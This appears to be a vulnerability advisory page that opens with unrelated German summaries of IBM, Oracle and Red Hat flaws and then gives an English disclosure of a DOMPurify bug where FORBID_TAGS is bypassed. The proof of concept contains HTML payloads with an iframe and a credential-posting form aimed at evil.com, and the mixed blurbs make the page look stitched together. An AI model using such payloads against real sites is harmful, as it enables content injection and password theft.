CVE-2026-41240

Ein Angreifer kann mehrere Schwachstellen in IBM App Connect Enterprise Certified Container ausnutzen, um beliebigen Code auszuführen, Sicherheitsmaßnahmen zu umgehen, Cross-Site-Scripting-Angriffe durchzuführen, Daten zu manipulieren, vertrauliche Informationen offenzulegen oder einen Denial-of-Service-Zustand zu verursachen.

Ein entfernter, anonymer Angreifer kann eine Schwachstelle in Oracle Construction and Engineering ausnutzen, um die Vertraulichkeit und Integrität zu gefährden.

Ein Angreifer kann mehrere Schwachstellen in Red Hat Enterprise Linux (Apicurio Registry) ausnutzen, um einen Denial of Service Angriff durchzuführen, um Informationen offenzulegen und um einen Cross-Site Scripting Angriff durchzuführen.

Ein Angreifer kann mehrere Schwachstellen in IBM Concert ausnutzen, um beliebigen Programmcode auszuführen, um einen Denial of Service Angriff durchzuführen, um Informationen offenzulegen, um Dateien zu manipulieren, um einen Cross-Site Scripting Angriff durchzuführen, um einen SQL-Injection Angriff durchzuführen und um Sicherheitsvorkehrungen zu umgehen.

There is an inconsistency between FORBID_TAGS and FORBID_ATTR handling when function-based ADD_TAGS is used. Commit [c361baa](https://github.com/cure53/DOMPurify/commit/c361baa18dbdcb3344a41110f4c48ad85bf48f80) added an early exit for FORBID_ATTR at line 1214: /* FORBID_ATTR must always win, even if ADD_ATTR predicate would allow it */ if (FORBID_ATTR[lcName]) { return false; } The same fix was not applied to FORBID_TAGS. At line 1118-1123, when EXTRA_ELEMENT_HANDLING.tagCheck returns true, the short-circuit evaluation skips the FORBID_TAGS check entirely: if ( !( EXTRA_ELEMENT_HANDLING.tagCheck instanceof Function && EXTRA_ELEMENT_HANDLING.tagCheck(tagName) // true -> short-circuits ) && (!ALLOWED_TAGS[tagName] || FORBID_TAGS[tagName]) // never evaluated ) { This allows forbidden elements to survive sanitization with their attributes intact. PoC (tested against current HEAD in Node.js + jsdom): const DOMPurify = createDOMPurify(window); DOMPurify.sanitize( '<iframe src="https://evil.com"></iframe>', { ADD_TAGS: function(tag) { return true; }, FORBID_TAGS: ['iframe'] } ); // Returns: '<iframe src="https://evil.com"></iframe>' // Expected: '' (iframe forbidden) DOMPurify.sanitize( '<form action="https://evil.com/steal"><input name=password></form>', { ADD_TAGS: function(tag) { return true; }, FORBID_TAGS: ['form'] } ); // Returns: '<form action="https://evil.com/steal"><input name="password"></form>' // Expected: '<input name="password">' (form forbidden) Confirmed affected: iframe, object, embed, form. The src/action/data attributes survive because attribute sanitization runs separately and allows these URLs. Compare with FORBID_ATTR which correctly wins: DOMPurify.sanitize( '<p onclick="alert(1)">hello</p>', { ADD_ATTR: function(attr) { return true; }, FORBID_ATTR: ['onclick'] } ); // Returns: '<p>hello</p>' (onclick correctly removed) Suggested fix: add FORBID_TAGS early exit before the tagCheck evaluation, mirroring line 1214: /* FORBID_TAGS must always win, even if ADD_TAGS predicate would allow it */ if (FORBID_TAGS[tagName]) { // proceed to removal logic } This requires function-based ADD_TAGS in the config, which is uncommon. But the asymmetry with the FORBID_ATTR fix is clear, and the impact includes iframe and form injection with external URLs. Reporter: Koda Reef